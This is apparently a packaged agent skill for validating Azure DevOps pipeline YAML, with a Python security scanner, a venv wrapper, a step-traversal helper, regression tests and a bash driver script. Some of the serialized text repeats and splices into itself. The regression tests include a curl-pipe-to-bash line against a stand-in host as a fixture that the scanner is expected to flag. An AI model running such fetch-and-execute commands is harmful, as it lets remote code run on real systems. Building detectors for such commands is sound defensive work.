Azure Pipelines Validator Use this skill to validate Azure DevOps pipeline YAML ( / ) with local scripts first, then escalate to docs only when local output is not enough. Trigger Phrases Use this skill when the user asks things like: - "Validate my ." - "Why is this Azure pipeline YAML failing?" - "Run a security scan on this Azure DevOps pipeline." - "Check this pipeline for best-practice issues." - "Review this pipeline in CI before merge." Do not use this skill for pipeline generation from scratch. Use for that. Deterministic Path Setup (No Ambiguity) Run from any directory using explicit…

), # Using :latest tag\n re.compile(r'(?i)FROM\\s+[a-z0-9\\-\\./_]+:latest'), # Dockerfile FROM with latest\n ]\n\n def __init__(self, file_path: str):\n self.file_path = Path(file_path)\n self.issues: List[SecurityIssue] = []\n self.config: Dict[str, Any] = {}\n self.raw_content: str = \"\"\n self.line_map: Dict[str, int] = {}\n # Track reported issues to avoid duplicates (line_number, rule) pairs\n self.reported_secrets: set = set()\n\n def scan(self) -> List[SecurityIssue]:\n \"\"\"Run all security scans\"\"\"\n\n try:\n with open(self.file_path, 'r') as f:\n self.raw_content = f.read()\n self.config = yaml.safe_load(self.raw_content)\n self._build_line_map()\n except Exception as e:\n print(f\"Error loading file: {e}\", file=sys.stderr)\n return []\n\n if not isinstance(self.config, dict):\n return []\n\n # Run all security checks\n self._check_hardcoded_secrets()\n self._check_dangerous_scripts()\n self._check_secret_exposure()\n self._check_container_security()\n self._check_task_security()\n self._check_service_connections()\n self._check_checkout_security()\n self._check_variable_security()\n\n return self.issues\n\n def _build_line_map(self):\n \"\"\"Build comprehensive line number map\"\"\"\n self.raw_lines = self.raw_content.split('\\n')\n for line_num, line in enumerate(self.raw_lines, 1):\n stripped = line.strip()\n if stripped and not stripped.startswith('#'):\n if ':' in stripped:\n key = stripped.split(':')[0].strip('- ')\n if key and key not in self.line_map:\n self.line_map[key] = line_num\n # Also store full stripped line for value lookups\n self.line_map[stripped] = line_num\n\n def _get_line(self, key: str) -> int:\n \"\"\"Get approximate line number for a key or value\"\"\"\n if key in self.line_map:\n return self.line_map[key]\n # Search for the key in raw lines\n for line_num, line in enumerate(self.raw_lines, 1):\n if key in line:\n return line_num\n return 0\n\n def _find_line_containing(self, value: str) -> int:\n \"\"\"Find line number containing a specific value\"\"\"\n for line_num, line in enumerate(self.raw_lines, 1):\n if value in line:\n return line_num\n return 0\n\n def _check_hardcoded_secrets(self):\n \"\"\"Check for hardcoded secrets and credentials\"\"\"\n\n # Check in variables first (more specific, better context)\n variables = self.config.get('variables', {})\n if isinstance(variables, dict):\n for var_name, var_value in variables.items():\n if isinstance(var_value, str):\n for pattern, rule in self.SECRET_PATTERNS:\n # Check variable name and value\n check_str = f\"{var_name}: {var_value}\"\n if pattern.search(check_str):\n line_num = self._get_line(var_name)\n # Track this finding to avoid duplicates\n finding_key = (line_num, rule)\n if finding_key not in self.reported_secrets:\n self.reported_secrets.add(finding_key)\n self.issues.append(SecurityIssue(\n 'high', line_num,\n f\"Variable '{var_name}' may contain hardcoded secret\",\n rule,\n \"Use Azure DevOps variable groups with secret variables or Azure Key Vault\"\n ))\n break\n elif isinstance(variables, list):\n for var in variables:\n if isinstance(var, dict) and 'name' in var and 'value' in var:\n var_name = var['name']\n var_value = str(var['value'])\n check_str = f\"{var_name}: {var_value}\"\n for pattern, rule in self.SECRET_PATTERNS:\n if pattern.search(check_str):\n line_num = self._get_line(var_name)\n finding_key = (line_num, rule)\n if finding_key not in self.reported_secrets:\n self.reported_secrets.add(finding_key)\n self.issues.append(SecurityIssue(\n 'high', line_num,\n f\"Variable '{var_name}' may contain hardcoded secret\",\n rule,\n \"Use Azure DevOps variable groups with secret variables or Azure Key Vault\"\n ))\n break\n\n # Check in raw content (scripts, etc.) - skip lines already reported\n lines = self.raw_content.split('\\n')\n for line_num, line in enumerate(lines, 1):\n # Skip comments and variable references\n if '#' in line:\n line = line[:line.index('#')]\n\n # Normalize out variable references before pattern matching so that\n # mixed lines like \"password=hardcoded $(Build.Id)\" are still caught.\n normalized_line = re.sub(r'\\$\\([^)]+\\)', '', line)\n\n for pattern, rule in self.SECRET_PATTERNS:\n if pattern.search(normalized_line):\n # Check if this line+rule was already reported\n finding_key = (line_num, rule)\n if finding_key not in self.reported_secrets:\n self.reported_secrets.add(finding_key)\n self.issues.append(SecurityIssue(\n 'high', line_num,\n f\"Potential hardcoded secret detected\",\n rule,\n \"Use secret variables or Azure Key Vault instead of hardcoding secrets\"\n ))\n break\n\n def _check_dangerous_scripts(self):\n \"\"\"Check for dangerous script patterns\"\"\"\n\n def check_script(script_content: str, context: str, script_key: str):\n for pattern, rule, remediation in self.DANGEROUS_PATTERNS:\n match = pattern.search(script_content)\n if match:\n # Find line number by searching for script content\n line_num = self._find_line_containing(match.group(0)[:30]) or self._find_line_containing(script_key + ':')\n self.issues.append(SecurityIssue(\n 'high', line_num,\n f\"Dangerous pattern detected in {context}\",\n rule,\n remediation\n ))\n\n # Check all script steps\n def process_steps(steps: List[Any], context: str):\n for step in steps:\n if isinstance(step, dict):\n for script_key in ['script', 'bash', 'pwsh', 'powershell']:\n if script_key in step:\n script_content = str(step[script_key])\n check_script(script_content, f\"{context} ({script_key})\", script_key)\n\n self._traverse_steps(process_steps)\n\n def _check_secret_exposure(self):\n \"\"\"Check for potential secret exposure in logs\"\"\"\n\n def process_steps(steps: List[Any], context: str):\n for step in steps:\n if isinstance(step, dict):\n for script_key in ['script', 'bash', 'pwsh', 'powershell']:\n if script_key in step:\n script_content = str(step[script_key])\n for pattern in self.SECRET_EXPOSURE_PATTERNS:\n if pattern.search(script_content):\n self.issues.append(SecurityIssue(\n 'medium', 0,\n f\"Potential secret exposure in logs in {context}\",\n 'secret-in-logs',\n \"Use ##vso[task.setvariable variable=name;issecret=true] or avoid logging secrets\"\n ))\n break\n\n self._traverse_steps(process_steps)\n\n def _check_container_security(self):\n \"\"\"Check container image security\"\"\"\n\n # Check container images in resources\n resources = self.config.get('resources', {})\n if 'containers' in resources:\n for container in resources['containers']:\n if isinstance(container, dict) and 'image' in container:\n image = container['image']\n if isinstance(image, str):\n for pattern in self.INSECURE_IMAGE_PATTERNS:\n if pattern.search(image):\n container_name = container.get('container', 'unknown')\n self.issues.append(SecurityIssue(\n 'medium', self._get_line(container_name),\n f\"Container '{container_name}' uses ':latest' tag\",\n 'container-latest-tag',\n \"Pin container images to specific versions or SHA digests\"\n ))\n break\n\n # Check container at job level\n def check_job_containers(jobs: List[Any]):\n for job in jobs:\n if isinstance(job, dict) and 'container' in job:\n container = job['container']\n if isinstance(container, str):\n for pattern in self.INSECURE_IMAGE_PATTERNS:\n if pattern.search(container):\n job_name = job.get('job') or job.get('deployment', 'unknown')\n self.issues.append(SecurityIssue(\n 'medium', self._get_line(job_name),\n f\"Job '{job_name}' uses container with ':latest' tag\",\n 'container-latest-tag',\n \"Pin container images to specific versions or SHA digests\"\n ))\n break\n elif isinstance(container, dict) and 'image' in container:\n for pattern in self.INSECURE_IMAGE_PATTERNS:\n if pattern.search(container['image']):\n job_name = job.get('job') or job.get('deployment', 'unknown')\n self.issues.append(SecurityIssue(\n 'medium', self._get_line(job_name),\n f\"Job '{job_name}' uses container with ':latest' tag\",\n 'container-latest-tag',\n \"Pin container images to specific versions or SHA digests\"\n ))\n break\n\n if 'stages' in self.config:\n for stage in self.config['stages']:\n if isinstance(stage, dict):\n check_job_containers(stage.get('jobs', []))\n\n if 'jobs' in self.config:\n check_job_containers(self.config['jobs'])\n\n def _check_task_security(self):\n \"\"\"Check task version security\"\"\"\n\n def process_steps(steps: List[Any], context: str):\n for step in steps:\n if isinstance(step, dict) and 'task' in step:\n task = step['task']\n if isinstance(task, str):\n line_num = self._find_line_containing(f\"task: {task}\") or self._find_line_containing(task)\n # Check for missing version\n if '@' not in task:\n self.issues.append(SecurityIssue(\n 'medium', line_num,\n f\"Task '{task}' in {context} missing version (security risk)\",\n 'task-no-version',\n \"Always specify task version to prevent unexpected changes\"\n ))\n\n # Warn about very old tasks (@1 for critical tasks)\n if any(critical in task for critical in ['AzureCLI@', 'AzurePowerShell@', 'Kubernetes@']):\n if '@1' in task:\n self.issues.append(SecurityIssue(\n 'low', line_num,\n f\"Task '{task}' in {context} uses older version\",\n 'task-old-version',\n \"Consider updating to latest major version for security fixes\"\n ))\n\n self._traverse_steps(process_steps)\n\n def _check_service_connections(self):\n \"\"\"Check for hardcoded service connections\"\"\"\n\n # Check for Azure service connections in tasks\n def process_steps(steps: List[Any], context: str):\n for step in steps:\n if isinstance(step, dict) and 'inputs' in step:\n inputs = step['inputs']\n if isinstance(inputs, dict):\n # Check common service connection inputs\n for key in ['azureSubscription', 'connectedServiceName', 'dockerRegistryServiceConnection']:\n if key in inputs:\n value = str(inputs[key])\n # Check if it looks like a GUID (hardcoded)\n if re.match(r'^[a-f0-9\\-]{36}

Azure Pipelines Validator Use this skill to validate Azure DevOps pipeline YAML ( / ) with local scripts first, then escalate to docs only when local output is not enough. Trigger Phrases Use this skill when the user asks things like: - "Validate my ." - "Why is this Azure pipeline YAML failing?" - "Run a security scan on this Azure DevOps pipeline." - "Check this pipeline for best-practice issues." - "Review this pipeline in CI before merge." Do not use this skill for pipeline generation from scratch. Use for that. Deterministic Path Setup (No Ambiguity) Run from any directory using explicit…

, value):\n self.issues.append(SecurityIssue(\n 'low', 0,\n f\"Task in {context} may use hardcoded service connection ID\",\n 'hardcoded-service-connection',\n \"Use service connection names instead of IDs for portability\"\n ))\n\n self._traverse_steps(process_steps)\n\n def _check_checkout_security(self):\n \"\"\"Check checkout security settings\"\"\"\n\n def process_steps(steps: List[Any], context: str):\n for step in steps:\n if isinstance(step, dict) and 'checkout' in step:\n checkout = step['checkout']\n # Check if clean is disabled\n if isinstance(step, dict) and 'clean' in step:\n if step['clean'] == False or step['clean'] == 'false':\n self.issues.append(SecurityIssue(\n 'low', 0,\n f\"Checkout in {context} has clean disabled\",\n 'checkout-no-clean',\n \"Enable clean checkout to prevent contamination from previous builds\"\n ))\n\n # Check for submodules without verification\n if isinstance(step, dict) and 'submodules' in step:\n if step.get('submodules') == 'recursive' and not step.get('fetchDepth'):\n self.issues.append(SecurityIssue(\n 'low', 0,\n f\"Checkout in {context} uses recursive submodules without depth limit\",\n 'checkout-submodule-risk',\n \"Consider setting fetchDepth to limit exposure\"\n ))\n\n self._traverse_steps(process_steps)\n\n def _check_variable_security(self):\n \"\"\"Check variable security configuration\"\"\"\n\n variables = self.config.get('variables', [])\n\n if isinstance(variables, list):\n for var in variables:\n if isinstance(var, dict) and 'name' in var and 'value' in var:\n var_name = var['name']\n # Check if sensitive variable is not marked as secret\n if any(keyword in var_name.lower() for keyword in ['password', 'secret', 'token', 'key', 'credential']):\n if not var.get('isSecret'):\n self.issues.append(SecurityIssue(\n 'medium', self._get_line(var_name),\n f\"Variable '{var_name}' appears sensitive but not marked as secret\",\n 'variable-not-secret',\n \"Add 'isSecret: true' to sensitive variables or use variable groups\"\n ))\n\n def _traverse_steps(self, callback):\n \"\"\"Traverse all steps in the pipeline and apply callback.\"\"\"\n steps_by_context: Dict[str, List[Any]] = {}\n for step, context in iter_steps(self.config):\n steps_by_context.setdefault(context, []).append(step)\n\n for context, steps in steps_by_context.items():\n callback(steps, context)\n\n\ndef main():\n if len(sys.argv) \u003c 2:\n print(\"Usage: check_security.py \u003cazure-pipelines.yml>\", file=sys.stderr)\n sys.exit(1)\n\n scanner = SecurityScanner(sys.argv[1])\n issues = scanner.scan()\n\n if issues:\n # Group by severity\n critical = [i for i in issues if i.severity == 'critical']\n high = [i for i in issues if i.severity == 'high']\n medium = [i for i in issues if i.severity == 'medium']\n low = [i for i in issues if i.severity == 'low']\n\n for severity_list, name in [(critical, 'CRITICAL'), (high, 'HIGH'), (medium, 'MEDIUM'), (low, 'LOW')]:\n if severity_list:\n print(f\"{name} SEVERITY ({len(severity_list)}):\")\n print(\"─\" * 80)\n for issue in severity_list:\n print(f\" {issue}\\n\")\n\n if critical or high:\n print(\"✗ Security scan failed - critical/high severity issues found\")\n sys.exit(1)\n else:\n print(\"⚠ Security scan found warnings - low/medium severity issues found\")\n sys.exit(2) # Exit code 2 for warnings (distinct from passed)\n else:\n print(\"✓ Security scan passed - no issues found\")\n sys.exit(0)\n\n\nif __name__ == '__main__':\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":22957,"content_sha256":"ea0e68b490c9507edf3a0abbfa2a25c3e412a808153de7694b35c155af6c4430"},{"filename":"scripts/python_wrapper.sh","content":"#!/bin/bash\n# Python Wrapper Script for Azure Pipelines Validator\n# Handles PyYAML and yamllint dependencies with transparent venv management\n#\n# This script:\n# 1. Tries to use system Python if PyYAML is available\n# 2. Falls back to a persistent venv if PyYAML is missing\n# 3. Auto-installs PyYAML and yamllint in venv if needed\n# 4. Runs the target Python script with all arguments\n\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nVENV_DIR=\"$SCRIPT_DIR/../.venv\"\n\n# Check if we have arguments\nif [ $# -lt 2 ]; then\n echo \"Usage: python_wrapper.sh \u003cpython-script> \u003cargs...>\" >&2\n exit 1\nfi\n\n# Hard requirement: python3 must exist\nif ! command -v python3 >/dev/null 2>&1; then\n echo \"Error: python3 is required to run Azure Pipelines validators.\" >&2\n echo \"Install python3, then rerun validation.\" >&2\n exit 1\nfi\n\nPYTHON_SCRIPT=\"$1\"\nshift # Remove first argument, rest are passed to the Python script\n\n# Try to run with system Python first\nif python3 -c \"import yaml\" 2>/dev/null; then\n # PyYAML is available in system, run directly\n python3 \"$PYTHON_SCRIPT\" \"$@\"\n exit $?\nfi\n\n# PyYAML not available in system, check for venv\nif [ ! -d \"$VENV_DIR\" ]; then\n # Create persistent venv\n echo \"PyYAML not found. Creating persistent virtual environment...\" >&2\n if ! python3 -m venv \"$VENV_DIR\" >&2; then\n echo \"Error: Failed to create virtual environment at $VENV_DIR\" >&2\n echo \"Install Python venv support (for example python3-venv) and retry.\" >&2\n exit 1\n fi\n\n # Activate venv\n source \"$VENV_DIR/bin/activate\" >&2\n\n # Upgrade pip quietly\n if ! pip install --quiet --upgrade pip >&2; then\n echo \"Error: Failed to upgrade pip in $VENV_DIR\" >&2\n exit 1\n fi\n\n # Install required packages\n echo \"Installing required packages (PyYAML, yamllint)...\" >&2\n if ! pip install --quiet pyyaml yamllint >&2; then\n echo \"Error: Failed to install required packages (PyYAML, yamllint).\" >&2\n echo \"Check network access or preinstall dependencies, then retry.\" >&2\n exit 1\n fi\n\n echo \"Virtual environment created at $VENV_DIR\" >&2\n echo \"\" >&2\nelse\n # Use existing venv\n source \"$VENV_DIR/bin/activate\" >&2\n\n # Check if yamllint is installed, install if missing\n if ! python3 -c \"import yamllint\" 2>/dev/null; then\n echo \"Installing yamllint in virtual environment...\" >&2\n if ! pip install --quiet yamllint >&2; then\n echo \"Error: Failed to install yamllint in $VENV_DIR\" >&2\n exit 1\n fi\n fi\nfi\n\n# Run the script with venv Python\npython3 \"$PYTHON_SCRIPT\" \"$@\"\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":2645,"content_sha256":"8c997fb1e2470a45e659977948f4267bc471ebd8a2043eed6a48f3473c65caa0"},{"filename":"scripts/step_walker.py","content":"#!/usr/bin/env python3\n\"\"\"Shared traversal helpers for Azure Pipelines step scanning.\"\"\"\n\nfrom __future__ import annotations\n\nimport re\nfrom typing import Any, Dict, Iterator, List, Tuple\n\n_TEMPLATE_EXPR_KEY = re.compile(r\"^\\s*\\$\\{\\{.*\\}\\}\\s*$\")\n_STEP_KEYS = {\n \"task\",\n \"script\",\n \"bash\",\n \"pwsh\",\n \"powershell\",\n \"checkout\",\n \"download\",\n \"downloadBuild\",\n \"getPackage\",\n \"publish\",\n \"template\",\n \"reviewApp\",\n}\n_DEPLOYMENT_STRATEGIES = (\"runOnce\", \"rolling\", \"canary\")\n_DEPLOYMENT_PHASES = (\"preDeploy\", \"deploy\", \"routeTraffic\", \"postRouteTraffic\")\n\n\ndef _get_mapping_value(node: Dict[str, Any], key: str) -> Any:\n \"\"\"Fetch mapping value while tolerating YAML 1.1 bool coercion for `on`.\"\"\"\n if key in node:\n return node[key]\n if key == \"on\" and True in node:\n return node[True]\n return None\n\n\ndef _is_template_expression_key(key: Any) -> bool:\n if not isinstance(key, str):\n return False\n return _TEMPLATE_EXPR_KEY.match(key) is not None\n\n\ndef _iter_template_payloads(node: Dict[str, Any]) -> Iterator[Any]:\n for key, value in node.items():\n if _is_template_expression_key(key):\n yield value\n\n\ndef _is_step_like(node: Dict[str, Any]) -> bool:\n return any(step_key in node for step_key in _STEP_KEYS)\n\n\ndef _iter_nested_step_payload(payload: Any, context: str) -> Iterator[Tuple[Dict[str, Any], str]]:\n if isinstance(payload, list):\n yield from _iter_step_list(payload, context)\n return\n\n if not isinstance(payload, dict):\n return\n\n if _is_step_like(payload):\n yield payload, context\n\n nested_steps = payload.get(\"steps\")\n if isinstance(nested_steps, list):\n yield from _iter_step_list(nested_steps, context)\n\n for nested_payload in _iter_template_payloads(payload):\n yield from _iter_nested_step_payload(nested_payload, context)\n\n\ndef _iter_step_list(steps: List[Any], context: str) -> Iterator[Tuple[Dict[str, Any], str]]:\n if not isinstance(steps, list):\n return\n\n for step in steps:\n if not isinstance(step, dict):\n continue\n\n for conditional_payload in _iter_template_payloads(step):\n yield from _iter_nested_step_payload(conditional_payload, context)\n\n if _is_step_like(step):\n yield step, context\n\n nested_steps = step.get(\"steps\")\n if isinstance(nested_steps, list):\n yield from _iter_step_list(nested_steps, context)\n\n\ndef _iter_strategy_steps(\n strategy_node: Dict[str, Any], job_context: str, strategy_type: str\n) -> Iterator[Tuple[Dict[str, Any], str]]:\n for phase in _DEPLOYMENT_PHASES:\n phase_data = _get_mapping_value(strategy_node, phase)\n yield from _iter_nested_step_payload(phase_data, f\"{job_context} {strategy_type}.{phase}\")\n\n on_data = _get_mapping_value(strategy_node, \"on\")\n if isinstance(on_data, dict):\n success_data = _get_mapping_value(on_data, \"success\")\n yield from _iter_nested_step_payload(success_data, f\"{job_context} {strategy_type}.on.success\")\n\n failure_data = _get_mapping_value(on_data, \"failure\")\n yield from _iter_nested_step_payload(failure_data, f\"{job_context} {strategy_type}.on.failure\")\n\n for conditional_payload in _iter_template_payloads(on_data):\n yield from _iter_nested_step_payload(\n conditional_payload, f\"{job_context} {strategy_type}.on\"\n )\n\n\ndef _iter_job_entries(jobs: Any) -> Iterator[Tuple[Dict[str, Any], str]]:\n if isinstance(jobs, list):\n for job in jobs:\n yield from _iter_job_entries(job)\n return\n\n if not isinstance(jobs, dict):\n return\n\n conditional_payloads = list(_iter_template_payloads(jobs))\n for payload in conditional_payloads:\n yield from _iter_job_entries(payload)\n\n job_name = jobs.get(\"job\") or jobs.get(\"deployment\")\n if not job_name:\n return\n\n job_context = f\"job '{job_name}'\"\n if isinstance(jobs.get(\"steps\"), list):\n yield from _iter_step_list(jobs[\"steps\"], job_context)\n\n strategy = jobs.get(\"strategy\")\n if isinstance(strategy, dict):\n for strategy_type in _DEPLOYMENT_STRATEGIES:\n strategy_node = strategy.get(strategy_type)\n if isinstance(strategy_node, dict):\n yield from _iter_strategy_steps(strategy_node, job_context, strategy_type)\n\n\ndef _iter_stage_entries(stages: Any) -> Iterator[Tuple[Dict[str, Any], str]]:\n if isinstance(stages, list):\n for stage in stages:\n yield from _iter_stage_entries(stage)\n return\n\n if not isinstance(stages, dict):\n return\n\n conditional_payloads = list(_iter_template_payloads(stages))\n for payload in conditional_payloads:\n yield from _iter_stage_entries(payload)\n\n if isinstance(stages.get(\"jobs\"), list):\n yield from _iter_job_entries(stages[\"jobs\"])\n\n\ndef iter_steps(config: Any) -> Iterator[Tuple[Dict[str, Any], str]]:\n \"\"\"Yield (step, context) pairs from standard and conditional/deployment blocks.\"\"\"\n if not isinstance(config, dict):\n return\n\n if isinstance(config.get(\"steps\"), list):\n yield from _iter_step_list(config[\"steps\"], \"pipeline\")\n\n if isinstance(config.get(\"jobs\"), list):\n yield from _iter_job_entries(config[\"jobs\"])\n\n if isinstance(config.get(\"stages\"), list):\n yield from _iter_stage_entries(config[\"stages\"])\n","content_type":"text/x-python; charset=utf-8","language":"python","size":5445,"content_sha256":"924e30067d78ae30c1874542fd06b449759ba79f474f357a74525aa497bee87f"},{"filename":"scripts/test_regressions.py","content":"#!/usr/bin/env python3\n\"\"\"Regression tests for azure-pipelines-validator traversal coverage.\"\"\"\n\nimport sys\nimport tempfile\nimport textwrap\nimport unittest\nfrom pathlib import Path\n\n\nSCRIPT_DIR = Path(__file__).resolve().parent\nsys.path.insert(0, str(SCRIPT_DIR))\n\nfrom check_best_practices import BestPracticesChecker\nfrom check_security import SecurityScanner\nfrom step_walker import iter_steps\n\n\ndef _write_pipeline(yaml_text: str) -> Path:\n with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".yml\", delete=False) as handle:\n handle.write(textwrap.dedent(yaml_text).strip() + \"\\n\")\n return Path(handle.name)\n\n\nclass TestStepWalkerCoverage(unittest.TestCase):\n def test_iter_steps_includes_conditional_step_payload(self):\n config = {\n \"steps\": [\n {\n \"${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}\": [\n {\"script\": \"curl -fsSL https://bad.example/install.sh | bash\"}\n ]\n }\n ]\n }\n\n walked = list(iter_steps(config))\n self.assertTrue(\n any(\"script\" in step for step, _ in walked),\n \"Expected conditional step payload to be traversed\",\n )\n\n def test_iter_steps_includes_runonce_on_failure_steps(self):\n config = {\n \"jobs\": [\n {\n \"deployment\": \"DeployWeb\",\n \"strategy\": {\n \"runOnce\": {\n \"on\": {\n \"failure\": {\n \"steps\": [{\"task\": \"CmdLine\"}],\n }\n }\n }\n },\n }\n ]\n }\n\n walked = list(iter_steps(config))\n self.assertTrue(\n any(step.get(\"task\") == \"CmdLine\" for step, _ in walked),\n \"Expected runOnce.on.failure steps to be traversed\",\n )\n\n\nclass TestScannerRegressions(unittest.TestCase):\n def test_basic_example_is_clean_best_practices_baseline(self):\n pipeline = SCRIPT_DIR.parent / \"examples\" / \"basic-pipeline.yml\"\n issues = BestPracticesChecker(str(pipeline)).check()\n\n self.assertEqual(\n [],\n issues,\n f\"Expected basic example to be clean, got {[issue.rule for issue in issues]}\",\n )\n\n def test_security_detects_dangerous_script_in_conditional_block(self):\n pipeline = _write_pipeline(\n \"\"\"\n trigger: none\n steps:\n - ${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}:\n - script: curl -fsSL https://bad.example/install.sh | bash\n \"\"\"\n )\n\n try:\n issues = SecurityScanner(str(pipeline)).scan()\n finally:\n pipeline.unlink(missing_ok=True)\n\n rules = [issue.rule for issue in issues]\n self.assertIn(\n \"curl-pipe-shell\",\n rules,\n \"Expected curl-pipe-shell finding inside conditional step block\",\n )\n\n def test_best_practices_detects_missing_version_in_runonce_on_failure(self):\n pipeline = _write_pipeline(\n \"\"\"\n trigger: none\n jobs:\n - deployment: DeployWeb\n environment: test\n strategy:\n runOnce:\n on:\n failure:\n steps:\n - task: CmdLine\n inputs:\n script: echo rollback\n \"\"\"\n )\n\n try:\n issues = BestPracticesChecker(str(pipeline)).check()\n finally:\n pipeline.unlink(missing_ok=True)\n\n task_issues = [issue for issue in issues if issue.rule == \"task-missing-version\"]\n self.assertTrue(\n task_issues,\n \"Expected task-missing-version warning for runOnce.on.failure step\",\n )\n self.assertTrue(\n any(\"runOnce.on.failure\" in issue.message for issue in task_issues),\n \"Expected warning context to include runOnce.on.failure\",\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":4278,"content_sha256":"f44674f5d844589de11674ec96324bd833c276a02115e6466c2829a33421d60c"},{"filename":"scripts/validate_azure_pipelines.sh","content":"#!/bin/bash\n#\n# Azure Pipelines Validator\n#\n# Comprehensive validation script for Azure Pipelines YAML files\n# Runs syntax validation, best practices checks, and security scanning\n#\n\nset -e\n\n# Colors for output\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nBLUE='\\033[0;34m'\nNC='\\033[0m' # No Color\n\n# Script directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\n\n# Python wrapper for venv management\nPYTHON_WRAPPER=\"$SCRIPT_DIR/python_wrapper.sh\"\n\n# Default options\nRUN_YAML_LINT=true\nRUN_SYNTAX=true\nRUN_BEST_PRACTICES=true\nRUN_SECURITY=true\nSTRICT_MODE=false\nFILE_PATH=\"\"\n\n# Usage information\nusage() {\n cat \u003c\u003c EOF\nUsage: $(basename \"$0\") [azure-pipelines.yml] [options]\n\nValidates Azure Pipelines YAML files for syntax, best practices, and security.\n\nArguments:\n [file] Path to Azure Pipelines YAML file (optional)\n If not specified, auto-detects azure-pipelines*.yml files\n\nOptions:\n --syntax-only Run only syntax validation\n --best-practices Run only best practices check\n --security-only Run only security scan\n --no-best-practices Skip best practices check\n --no-security Skip security scan\n --skip-yaml-lint Skip YAML linting (yamllint)\n --strict Fail on warnings (not just errors)\n -h, --help Show this help message\n\nExamples:\n $(basename \"$0\") # Auto-detect pipeline files\n $(basename \"$0\") azure-pipelines.yml\n $(basename \"$0\") azure-pipelines.yml --syntax-only\n $(basename \"$0\") azure-pipelines.yml --no-best-practices\n $(basename \"$0\") azure-pipelines.yml --strict\n\nExit Codes:\n 0 - All validations passed\n 1 - Validation errors found\n 2 - Invalid arguments or file not found\n\nEOF\n exit 0\n}\n\n# Auto-detect Azure Pipelines files\nauto_detect_files() {\n local files=()\n\n # Search for azure-pipelines*.yml and azure-pipelines*.yaml files\n while IFS= read -r -d '' file; do\n files+=(\"$file\")\n done \u003c \u003c(find . -maxdepth 3 -type f \\( -name \"azure-pipelines*.yml\" -o -name \"azure-pipelines*.yaml\" \\) -print0 2>/dev/null)\n\n local count=${#files[@]}\n\n if [ $count -eq 0 ]; then\n echo -e \"${YELLOW}No Azure Pipelines files found.${NC}\"\n echo \"\"\n echo \"Searched for: azure-pipelines*.yml, azure-pipelines*.yaml\"\n echo \"Please specify a file path or create an azure-pipelines.yml file.\"\n exit 2\n elif [ $count -eq 1 ]; then\n FILE_PATH=\"${files[0]}\"\n echo -e \"${BLUE}Auto-detected:${NC} $FILE_PATH\"\n echo \"\"\n else\n echo -e \"${YELLOW}Multiple Azure Pipelines files found:${NC}\"\n echo \"\"\n for i in \"${!files[@]}\"; do\n echo \" $((i+1)). ${files[$i]}\"\n done\n echo \"\"\n echo \"Please specify which file to validate:\"\n echo \" $(basename \"$0\") \u003cfile-path>\"\n exit 2\n fi\n}\n\n# Parse arguments\nparse_args() {\n # Handle case when no arguments are provided - try auto-detection\n if [ $# -eq 0 ]; then\n auto_detect_files\n return\n fi\n\n while [ $# -gt 0 ]; do\n case \"$1\" in\n -h|--help)\n usage\n ;;\n --syntax-only)\n RUN_BEST_PRACTICES=false\n RUN_SECURITY=false\n shift\n ;;\n --best-practices)\n RUN_SYNTAX=false\n RUN_SECURITY=false\n shift\n ;;\n --security-only)\n RUN_SYNTAX=false\n RUN_BEST_PRACTICES=false\n shift\n ;;\n --no-best-practices)\n RUN_BEST_PRACTICES=false\n shift\n ;;\n --no-security)\n RUN_SECURITY=false\n shift\n ;;\n --skip-yaml-lint)\n RUN_YAML_LINT=false\n shift\n ;;\n --strict)\n STRICT_MODE=true\n shift\n ;;\n -*)\n echo \"Error: Unknown option: $1\"\n echo \"Run '$(basename \"$0\") --help' for usage information\"\n exit 2\n ;;\n *)\n if [ -z \"$FILE_PATH\" ]; then\n FILE_PATH=\"$1\"\n else\n echo \"Error: Multiple files specified\"\n exit 2\n fi\n shift\n ;;\n esac\n done\n\n # If no file specified after parsing options, try auto-detection\n if [ -z \"$FILE_PATH\" ]; then\n auto_detect_files\n fi\n\n if [ ! -f \"$FILE_PATH\" ]; then\n echo \"Error: File not found: $FILE_PATH\"\n exit 2\n fi\n}\n\n# Print header\nprint_header() {\n echo \"════════════════════════════════════════════════════════════════════════════════\"\n echo \" Azure Pipelines Validator\"\n echo \"════════════════════════════════════════════════════════════════════════════════\"\n echo \"\"\n echo \"File: $FILE_PATH\"\n echo \"\"\n}\n\n# Print summary\nprint_summary() {\n local yaml_lint_result=$1\n local syntax_result=$2\n local best_practices_result=$3\n local security_result=$4\n\n echo \"\"\n echo \"════════════════════════════════════════════════════════════════════════════════\"\n echo \" Validation Summary\"\n echo \"════════════════════════════════════════════════════════════════════════════════\"\n echo \"\"\n\n if [ \"$RUN_YAML_LINT\" = true ]; then\n printf \"YAML Lint: \"\n if [ \"$yaml_lint_result\" = \"PASSED\" ]; then\n echo -e \"${GREEN}PASSED${NC}\"\n elif [ \"$yaml_lint_result\" = \"SKIPPED\" ]; then\n echo -e \"SKIPPED\"\n elif [ \"$yaml_lint_result\" = \"WARNINGS\" ]; then\n echo -e \"${YELLOW}WARNINGS${NC}\"\n else\n echo -e \"${RED}FAILED${NC}\"\n fi\n fi\n\n if [ \"$RUN_SYNTAX\" = true ]; then\n printf \"Syntax Validation: \"\n if [ \"$syntax_result\" = \"PASSED\" ]; then\n echo -e \"${GREEN}PASSED${NC}\"\n else\n echo -e \"${RED}FAILED${NC}\"\n fi\n fi\n\n if [ \"$RUN_BEST_PRACTICES\" = true ]; then\n printf \"Best Practices: \"\n if [ \"$best_practices_result\" = \"PASSED\" ]; then\n echo -e \"${GREEN}PASSED${NC}\"\n elif [ \"$best_practices_result\" = \"WARNINGS\" ]; then\n echo -e \"${YELLOW}WARNINGS${NC}\"\n else\n echo -e \"${RED}FAILED${NC}\"\n fi\n fi\n\n if [ \"$RUN_SECURITY\" = true ]; then\n printf \"Security Scan: \"\n if [ \"$security_result\" = \"PASSED\" ]; then\n echo -e \"${GREEN}PASSED${NC}\"\n elif 